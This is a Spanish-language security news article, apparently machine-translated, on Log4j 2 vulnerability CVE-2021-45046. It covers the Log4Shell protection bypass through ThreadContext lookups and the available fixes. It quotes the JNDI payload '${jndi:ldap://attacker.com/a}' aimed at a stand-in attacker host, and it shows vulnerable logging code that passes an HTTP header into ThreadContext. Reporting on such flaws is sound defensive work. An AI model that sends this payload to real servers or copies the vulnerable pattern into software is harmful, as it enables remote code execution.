Se ha identificado otra vulnerabilidad en la implementación de búsquedas JNDI en la biblioteca Log4j 2 (CVE-2021-45046), que aparece a pesar de las correcciones agregadas en la versión 2.15 e independientemente del uso de la configuración de protección “log4j2.noFormatMsgLookup”. El problema es peligroso principalmente para versiones anteriores de Log4j 2, protegidas con el indicador “noFormatMsgLookup”, ya que permite eludir la protección de vulnerabilidades anteriores (Log4Shell, CVE-2021-44228), lo que le permite ejecutar su código en el servidor. Para los usuarios de la versión 2.15, la explotación se limita a provocar que la aplicación falle debido al agotamiento de los recursos disponibles.
La vulnerabilidad solo aparece en sistemas que utilizan búsquedas de contexto para el registro, como ${ctx:loginId}, o plantillas MDC (Thread Context Map), como %X, %mdc y %MDC. La operación se reduce a crear condiciones para generar datos que contengan sustituciones JNDI en el registro cuando se utilizan consultas de contexto o plantillas MDC en la aplicación que definen las reglas para formatear la salida en el registro.
Los investigadores de LunaSec señalaron que para las versiones de Log4j inferiores a 2.15, esta vulnerabilidad se puede utilizar como un nuevo vector para un ataque Log4Shell, lo que lleva a la ejecución de código, si se utilizan expresiones ThreadContext que incluyen datos externos en la salida del registro, independientemente de si el El indicador "proteger" está habilitado. noMsgFormatLookups" o la plantilla "%m{nolookups}".
Eludir la protección se reduce al hecho de que en lugar de la sustitución directa de "${jndi:ldap://attacker.com/a}", esta expresión se sustituye por el valor de una variable intermedia utilizada en las reglas para formatear la salida del registro. . Por ejemplo, si se utiliza la consulta de contexto ${ctx:apiversion} al enviar el registro, entonces el ataque se puede llevar a cabo sustituyendo los datos "${jndi:ldap://attacker.com/a}" en el valor escrito en la variable apiversión. Ejemplo de código vulnerable: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // El valor del encabezado HTTP "X-Api-Version" se pasa al ThreadContext ThreadContext.put("apiversion ", versión api); // Al iniciar sesión, el valor de apiversión externa se procesará mediante la sustitución ${ctx:apiversion} logger.info("Recibimos una solicitud de versión de API"); devolver "¡Hola mundo!"; }
En Log4j versión 2.15, la vulnerabilidad se puede utilizar para realizar ataques DoS al pasar valores a ThreadContext, lo que genera un bucle en el procesamiento de la plantilla de formato de salida.
Para bloquear la vulnerabilidad, se publicaron las actualizaciones 2.16 y 2.12.2. En la rama Log4j 2.16, además de las correcciones implementadas en la versión 2.15 y la vinculación de solicitudes LDAP JNDI a "localhost", la funcionalidad JNDI está completamente deshabilitada de forma predeterminada y se elimina la compatibilidad con plantillas de sustitución de mensajes. Como solución alternativa de seguridad, se sugiere eliminar la clase JndiLookup del classpath (por ejemplo, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .
Puede realizar un seguimiento de la aparición de correcciones en paquetes en las páginas de distribuciones (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) y fabricantes de plataformas Java (GitHub, Docker, Oracle, vmWare, Broadcom y Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Fuente: opennet.ru